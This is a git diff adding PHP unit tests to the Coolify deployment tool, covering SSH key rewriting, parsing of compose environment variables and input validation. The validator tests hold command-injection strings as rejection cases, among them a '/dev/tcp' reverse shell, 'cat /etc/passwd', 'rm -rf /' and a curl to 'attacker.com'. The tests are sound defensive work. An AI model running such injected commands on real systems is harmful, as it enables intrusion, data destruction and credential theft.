$server->shouldNotReceive('increment');
|
||||
$server->id = 1;
|
||||
$server->name = 'test-server';
|
||||
|
||||
$job = new ServerCheckJob($server);
|
||||
$job->failed(new RuntimeException('Some other error'));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
|
||||
it('includes a uuid in standalone docker bootstrap attributes for the root server path', function () {
|
||||
$server = new Server;
|
||||
$server->id = 0;
|
||||
|
||||
$attributes = $server->defaultStandaloneDockerAttributes(id: 0);
|
||||
|
||||
expect($attributes)
|
||||
->toMatchArray([
|
||||
'id' => 0,
|
||||
'name' => 'coolify',
|
||||
'network' => 'coolify',
|
||||
'server_id' => 0,
|
||||
])
|
||||
->and($attributes['uuid'])->toBeString()
|
||||
->and($attributes['uuid'])->not->toBe('');
|
||||
});
|
||||
@@ -4,7 +4,7 @@
|
||||
* Unit tests to verify that Docker Compose environment variables
|
||||
* do not overwrite user-saved values on redeploy.
|
||||
*
|
||||
* Regression test for GitHub issue #8885.
|
||||
* Regression test for GitHub issues #8885 and #9136.
|
||||
*/
|
||||
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
@@ -14,8 +14,8 @@ it('uses firstOrCreate for simple variable references in serviceParser to preser
|
||||
// This is the key === parsedValue branch
|
||||
expect($parsersFile)->toContain(
|
||||
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
|
||||
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
|
||||
' $envVar = $resource->environment_variables()->firstOrCreate('
|
||||
" // Ensure the variable exists in DB for .env generation and UI display\n".
|
||||
' $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
@@ -46,15 +46,15 @@ it('uses firstOrCreate for simple variable refs without default in serviceParser
|
||||
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
|
||||
});
|
||||
|
||||
it('populates environment array with saved DB value instead of raw compose variable', function () {
|
||||
it('does not replace self-referencing variable values in the environment array', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// After firstOrCreate, the environment should be populated with the DB value ($envVar->value)
|
||||
// not the raw compose variable reference (e.g., ${DATABASE_URL})
|
||||
// This pattern should appear in both parsers for all variable reference types
|
||||
expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value');
|
||||
expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;');
|
||||
expect($parsersFile)->toContain('$environment[$content] = $envVar->value;');
|
||||
// Fix for #9136: self-referencing variables (KEY=${KEY}) must NOT have their ${VAR}
|
||||
// reference replaced with the DB value in the compose environment section.
|
||||
// Instead, the reference should stay intact so Docker Compose resolves from .env at deploy time.
|
||||
// This prevents stale values when users update env vars without re-parsing compose.
|
||||
expect($parsersFile)->toContain('Keep the ${VAR} reference in compose');
|
||||
expect($parsersFile)->not->toContain('$environment[$key->value()] = $envVar->value;');
|
||||
});
|
||||
|
||||
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
|
||||
|
||||
@@ -7,22 +7,24 @@
|
||||
* These tests verify the fix for the issue where changing an image in a
|
||||
* docker-compose file would create a new service instead of updating the existing one.
|
||||
*/
|
||||
it('ensures service parser does not include image in firstOrCreate query', function () {
|
||||
it('ensures service parser does not include image in trusted service creation query', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that firstOrCreate is called with only name and service_id
|
||||
// and NOT with image parameter in the ServiceApplication presave loop
|
||||
// Check that trusted creation only uses name and service_id
|
||||
// and does not include image in the creation payload
|
||||
expect($parsersFile)
|
||||
->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
|
||||
->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
|
||||
->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
|
||||
->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
|
||||
->toContain("create([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
|
||||
->not->toContain("create([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
|
||||
});
|
||||
|
||||
it('ensures service parser updates image after finding or creating service', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that image update logic exists after firstOrCreate
|
||||
// Check that image update logic exists after the trusted create/find branch
|
||||
expect($parsersFile)
|
||||
->toContain('// Update image if it changed')
|
||||
->toContain('if ($savedService->image !== $image) {')
|
||||
@@ -39,7 +41,8 @@ it('ensures parseDockerComposeFile does not create duplicates on null savedServi
|
||||
// The new code checks for null within the else block and creates only if needed
|
||||
expect($sharedFile)
|
||||
->toContain('if (is_null($savedService)) {')
|
||||
->toContain('$savedService = ServiceDatabase::create([');
|
||||
->toContain('$savedService = ServiceDatabase::create([')
|
||||
->toContain('$savedService = ServiceApplication::create([');
|
||||
});
|
||||
|
||||
it('verifies image update logic is present in parseDockerComposeFile', function () {
|
||||
|
||||
@@ -0,0 +1,208 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Helpers\SshMultiplexingHelper;
|
||||
use App\Models\PrivateKey;
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Illuminate\Support\Str;
|
||||
use Tests\TestCase;
|
||||
|
||||
/**
|
||||
* Tests for SSH key validation to prevent sporadic "Permission denied" errors.
|
||||
*
|
||||
* The root cause: validateSshKey() only checked file existence, not content.
|
||||
* When a key was rotated in the DB but the old file persisted on disk,
|
||||
* SSH would use the stale key and fail with "Permission denied (publickey)".
|
||||
*
|
||||
* @see https://github.com/coollabsio/coolify/issues/7724
|
||||
*/
|
||||
class SshKeyValidationTest extends TestCase
|
||||
{
|
||||
private string $diskRoot;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
$this->diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid();
|
||||
File::ensureDirectoryExists($this->diskRoot);
|
||||
config(['filesystems.disks.ssh-keys.root' => $this->diskRoot]);
|
||||
app('filesystem')->forgetDisk('ssh-keys');
|
||||
}
|
||||
|
||||
protected function tearDown(): void
|
||||
{
|
||||
File::deleteDirectory($this->diskRoot);
|
||||
parent::tearDown();
|
||||
}
|
||||
|
||||
private function makePrivateKey(string $keyContent = 'TEST_KEY_CONTENT'): PrivateKey
|
||||
{
|
||||
$privateKey = new class extends PrivateKey
|
||||
{
|
||||
public int $storeCallCount = 0;
|
||||
|
||||
public function refresh()
|
||||
{
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getKeyLocation()
|
||||
{
|
||||
return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}");
|
||||
}
|
||||
|
||||
public function storeInFileSystem()
|
||||
{
|
||||
$this->storeCallCount++;
|
||||
$filename = "ssh_key@{$this->uuid}";
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
$disk->put($filename, $this->private_key);
|
||||
$keyLocation = $disk->path($filename);
|
||||
chmod($keyLocation, 0600);
|
||||
|
||||
return $keyLocation;
|
||||
}
|
||||
};
|
||||
|
||||
$privateKey->uuid = (string) Str::uuid();
|
||||
$privateKey->private_key = $keyContent;
|
||||
|
||||
return $privateKey;
|
||||
}
|
||||
|
||||
private function callValidateSshKey(PrivateKey $privateKey): void
|
||||
{
|
||||
$reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey');
|
||||
$reflection->setAccessible(true);
|
||||
$reflection->invoke(null, $privateKey);
|
||||
}
|
||||
|
||||
public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions()
|
||||
{
|
||||
$privateKey = $this->makePrivateKey('NEW_PRIVATE_KEY_CONTENT');
|
||||
|
||||
$filename = "ssh_key@{$privateKey->uuid}";
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
$disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT');
|
||||
$keyPath = $disk->path($filename);
|
||||
chmod($keyPath, 0644);
|
||||
|
||||
$this->callValidateSshKey($privateKey);
|
||||
|
||||
$this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename));
|
||||
$this->assertSame(1, $privateKey->storeCallCount);
|
||||
$this->assertSame(0600, fileperms($keyPath) & 0777);
|
||||
}
|
||||
|
||||
public function test_validate_ssh_key_creates_missing_file()
|
||||
{
|
||||
$privateKey = $this->makePrivateKey('MY_KEY_CONTENT');
|
||||
|
||||
$filename = "ssh_key@{$privateKey->uuid}";
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
$this->assertFalse($disk->exists($filename));
|
||||
|
||||
$this->callValidateSshKey($privateKey);
|
||||
|
||||
$this->assertTrue($disk->exists($filename));
|
||||
$this->assertSame('MY_KEY_CONTENT', $disk->get($filename));
|
||||
$this->assertSame(1, $privateKey->storeCallCount);
|
||||
}
|
||||
|
||||
public function test_validate_ssh_key_skips_rewrite_when_content_matches()
|
||||
{
|
||||
$privateKey = $this->makePrivateKey('SAME_KEY_CONTENT');
|
||||
|
||||
$filename = "ssh_key@{$privateKey->uuid}";
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
$disk->put($filename, 'SAME_KEY_CONTENT');
|
||||
$keyPath = $disk->path($filename);
|
||||
chmod($keyPath, 0600);
|
||||
|
||||
$this->callValidateSshKey($privateKey);
|
||||
|
||||
$this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches');
|
||||
$this->assertSame('SAME_KEY_CONTENT', $disk->get($filename));
|
||||
}
|
||||
|
||||
public function test_validate_ssh_key_fixes_permissions_without_rewrite()
|
||||
{
|
||||
$privateKey = $this->makePrivateKey('KEY_CONTENT');
|
||||
|
||||
$filename = "ssh_key@{$privateKey->uuid}";
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
$disk->put($filename, 'KEY_CONTENT');
|
||||
$keyPath = $disk->path($filename);
|
||||
chmod($keyPath, 0644);
|
||||
|
||||
$this->callValidateSshKey($privateKey);
|
||||
|
||||
$this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches');
|
||||
$this->assertSame(0600, fileperms($keyPath) & 0777, 'Should fix permissions even without rewrite');
|
||||
}
|
||||
|
||||
public function test_store_in_file_system_enforces_correct_permissions()
|
||||
{
|
||||
$privateKey = $this->makePrivateKey('KEY_FOR_PERM_TEST');
|
||||
$privateKey->storeInFileSystem();
|
||||
|
||||
$filename = "ssh_key@{$privateKey->uuid}";
|
||||
$keyPath = Storage::disk('ssh-keys')->path($filename);
|
||||
|
||||
$this->assertSame(0600, fileperms($keyPath) & 0777);
|
||||
}
|
||||
|
||||
public function test_store_in_file_system_lock_file_persists()
|
||||
{
|
||||
// Use the real storeInFileSystem to verify lock file behavior
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
$uuid = (string) Str::uuid();
|
||||
$filename = "ssh_key@{$uuid}";
|
||||
$keyLocation = $disk->path($filename);
|
||||
$lockFile = $keyLocation.'.lock';
|
||||
|
||||
$privateKey = new class extends PrivateKey
|
||||
{
|
||||
public function refresh()
|
||||
{
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getKeyLocation()
|
||||
{
|
||||
return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}");
|
||||
}
|
||||
|
||||
protected function ensureStorageDirectoryExists()
|
||||
{
|
||||
// No-op in test — directory already exists
|
||||
}
|
||||
};
|
||||
|
||||
$privateKey->uuid = $uuid;
|
||||
$privateKey->private_key = 'LOCK_TEST_KEY';
|
||||
|
||||
$privateKey->storeInFileSystem();
|
||||
|
||||
// Lock file should persist (not be deleted) to prevent flock race conditions
|
||||
$this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem');
|
||||
}
|
||||
|
||||
public function test_server_model_detects_private_key_id_changes()
|
||||
{
|
||||
$reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted');
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $reflection->getStartLine();
|
||||
$endLine = $reflection->getEndLine();
|
||||
$source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
$this->assertStringContainsString(
|
||||
"wasChanged('private_key_id')",
|
||||
$source,
|
||||
'Server saved event should detect private_key_id changes'
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('rejects container IDs with command injection characters', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeFalse();
|
||||
})->with([
|
||||
'semicolon injection' => 'x; id > /tmp/pwned',
|
||||
'pipe injection' => 'x | cat /etc/passwd',
|
||||
'command substitution backtick' => 'x`whoami`',
|
||||
'command substitution dollar' => 'x$(whoami)',
|
||||
'ampersand background' => 'x & rm -rf /',
|
||||
'double ampersand' => 'x && curl attacker.com',
|
||||
'newline injection' => "x\nid",
|
||||
'space injection' => 'x id',
|
||||
'redirect output' => 'x > /tmp/pwned',
|
||||
'redirect input' => 'x < /etc/passwd',
|
||||
]);
|
||||
|
||||
it('accepts valid Docker container IDs', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
|
||||
})->with([
|
||||
'short hex id' => 'abc123def456',
|
||||
'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
|
||||
'container name' => 'my-container',
|
||||
'name with dots' => 'my.container.name',
|
||||
'name with underscores' => 'my_container_name',
|
||||
]);
|
||||
@@ -21,6 +21,8 @@ it('accepts valid RFC 1123 hostnames', function (string $hostname) {
|
||||
'subdomain' => 'web.app.example.com',
|
||||
'max label length' => str_repeat('a', 63),
|
||||
'max total length' => str_repeat('a', 63).'.'.str_repeat('b', 63).'.'.str_repeat('c', 63).'.'.str_repeat('d', 59),
|
||||
'uppercase hostname' => 'MyServer',
|
||||
'mixed case fqdn' => 'MyServer.Example.COM',
|
||||
]);
|
||||
|
||||
it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $expectedError) {
|
||||
@@ -36,8 +38,7 @@ it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $exp
|
||||
expect($failCalled)->toBeTrue();
|
||||
expect($errorMessage)->toContain($expectedError);
|
||||
})->with([
|
||||
'uppercase letters' => ['MyServer', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'underscore' => ['my_server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'underscore' => ['my_server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'starts with hyphen' => ['-myserver', 'cannot start or end with a hyphen'],
|
||||
'ends with hyphen' => ['myserver-', 'cannot start or end with a hyphen'],
|
||||
'starts with dot' => ['.myserver', 'cannot start or end with a dot'],
|
||||
@@ -46,9 +47,9 @@ it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $exp
|
||||
'too long total' => [str_repeat('a', 254), 'must not exceed 253 characters'],
|
||||
'label too long' => [str_repeat('a', 64), 'must be 1-63 characters'],
|
||||
'empty label' => ['my..server', 'consecutive dots'],
|
||||
'special characters' => ['my@server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'space' => ['my server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'shell metacharacters' => ['my;server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'special characters' => ['my@server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'space' => ['my server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
'shell metacharacters' => ['my;server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
|
||||
]);
|
||||
|
||||
it('accepts empty hostname', function () {
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('accepts valid names with common characters', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
|
||||
})->with([
|
||||
'simple name' => 'My Server',
|
||||
'name with hyphen' => 'my-server',
|
||||
'name with underscore' => 'my_server',
|
||||
'name with dot' => 'my.server',
|
||||
'name with slash' => 'my/server',
|
||||
'name with at sign' => 'user@host',
|
||||
'name with ampersand' => 'Tom & Jerry',
|
||||
'name with parentheses' => 'My Server (Production)',
|
||||
'name with hash' => 'Server #1',
|
||||
'name with comma' => 'Server, v2',
|
||||
'name with colon' => 'Server: Production',
|
||||
'name with plus' => 'C++ App',
|
||||
'unicode name' => 'Ünïcödé Sërvér',
|
||||
'unicode chinese' => '我的服务器',
|
||||
'numeric name' => '12345',
|
||||
'complex name' => 'App #3 (staging): v2.1+hotfix',
|
||||
]);
|
||||
|
||||
it('rejects names with dangerous characters', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(0);
|
||||
})->with([
|
||||
'semicolon' => 'my;server',
|
||||
'pipe' => 'my|server',
|
||||
'dollar sign' => 'my$server',
|
||||
'backtick' => 'my`server',
|
||||
'backslash' => 'my\\server',
|
||||
'less than' => 'my<server',
|
||||
'greater than' => 'my>server',
|
||||
'curly braces' => 'my{server}',
|
||||
'square brackets' => 'my[server]',
|
||||
'tilde' => 'my~server',
|
||||
'caret' => 'my^server',
|
||||
'question mark' => 'my?server',
|
||||
'percent' => 'my%server',
|
||||
'double quote' => 'my"server',
|
||||
'exclamation' => 'my!server',
|
||||
'asterisk' => 'my*server',
|
||||
]);
|
||||
|
||||
it('generates nameRules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::nameRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('min:3')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::NAME_PATTERN);
|
||||
});
|
||||
|
||||
it('generates nullable nameRules when not required', function () {
|
||||
$rules = ValidationPatterns::nameRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
it('generates application names that comply with NAME_PATTERN', function (string $repo, string $branch) {
|
||||
$name = generate_application_name($repo, $branch, 'testcuid');
|
||||
|
||||
expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
|
||||
})->with([
|
||||
'normal repo' => ['owner/my-app', 'main'],
|
||||
'repo with dots' => ['repo.with.dots', 'feat/branch'],
|
||||
'repo with plus' => ['C++ App', 'main'],
|
||||
'branch with parens' => ['my-app', 'fix(auth)-login'],
|
||||
'repo with exclamation' => ['my-app!', 'main'],
|
||||
'repo with brackets' => ['app[test]', 'develop'],
|
||||
]);
|
||||
|
||||
it('falls back to random name when repo produces empty name', function () {
|
||||
$name = generate_application_name('!!!', 'main', 'testcuid');
|
||||
|
||||
expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
|
||||
->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
|
||||
});
|
||||
|
||||
it('accepts valid Docker network names', function (string $network) {
|
||||
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
|
||||
})->with([
|
||||
'simple name' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
'with dot' => 'my.network',
|
||||
'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
|
||||
'alphanumeric' => 'network123',
|
||||
'starts with number' => '1network',
|
||||
'complex valid' => 'coolify-proxy.net_2',
|
||||
]);
|
||||
|
||||
it('rejects Docker network names with shell metacharacters', function (string $network) {
|
||||
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
'backtick injection' => 'net`id`',
|
||||
'ampersand injection' => 'net&rm -rf /',
|
||||
'space' => 'net work',
|
||||
'newline' => "net\nwork",
|
||||
'starts with dot' => '.network',
|
||||
'starts with hyphen' => '-network',
|
||||
'slash' => 'net/work',
|
||||
'backslash' => 'net\\work',
|
||||
'empty string' => '',
|
||||
'single quotes' => "net'work",
|
||||
'double quotes' => 'net"work',
|
||||
'greater than' => 'net>work',
|
||||
'less than' => 'net<work',
|
||||
]);
|
||||
|
||||
it('generates dockerNetworkRules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::dockerNetworkRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
|
||||
});
|
||||
|
||||
it('generates nullable dockerNetworkRules when not required', function () {
|
||||
$rules = ValidationPatterns::dockerNetworkRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
@@ -0,0 +1,81 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\Danger;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::create(['id' => 0]);
|
||||
Queue::fake();
|
||||
|
||||
$this->user = User::factory()->create([
|
||||
'password' => Hash::make('test-password'),
|
||||
]);
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'network' => 'test-network-'.fake()->unique()->word(),
|
||||
]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Bind route parameters so get_route_parameters() works in the Danger component
|
||||
$route = Route::get('/test/{project_uuid}/{environment_uuid}', fn () => '')->name('test.danger');
|
||||
$request = Request::create("/test/{$this->project->uuid}/{$this->environment->uuid}");
|
||||
$route->bind($request);
|
||||
app('router')->setRoutes(app('router')->getRoutes());
|
||||
Route::dispatch($request);
|
||||
});
|
||||
|
||||
test('delete returns error string when password is incorrect', function () {
|
||||
Livewire::test(Danger::class, ['resource' => $this->application])
|
||||
->call('delete', 'wrong-password')
|
||||
->assertReturned('The provided password is incorrect.');
|
||||
|
||||
// Resource should NOT be deleted
|
||||
expect(Application::find($this->application->id))->not->toBeNull();
|
||||
});
|
||||
|
||||
test('delete succeeds with correct password and redirects', function () {
|
||||
Livewire::test(Danger::class, ['resource' => $this->application])
|
||||
->call('delete', 'test-password')
|
||||
->assertHasNoErrors();
|
||||
|
||||
// Resource should be soft-deleted
|
||||
expect(Application::find($this->application->id))->toBeNull();
|
||||
});
|
||||
|
||||
test('delete applies selectedActions from checkbox state', function () {
|
||||
$component = Livewire::test(Danger::class, ['resource' => $this->application])
|
||||
->call('delete', 'test-password', ['delete_configurations', 'docker_cleanup']);
|
||||
|
||||
expect($component->get('delete_volumes'))->toBeFalse();
|
||||
expect($component->get('delete_connected_networks'))->toBeFalse();
|
||||
expect($component->get('delete_configurations'))->toBeTrue();
|
||||
expect($component->get('docker_cleanup'))->toBeTrue();
|
||||
});
|
||||
Reference in new issue
Block a user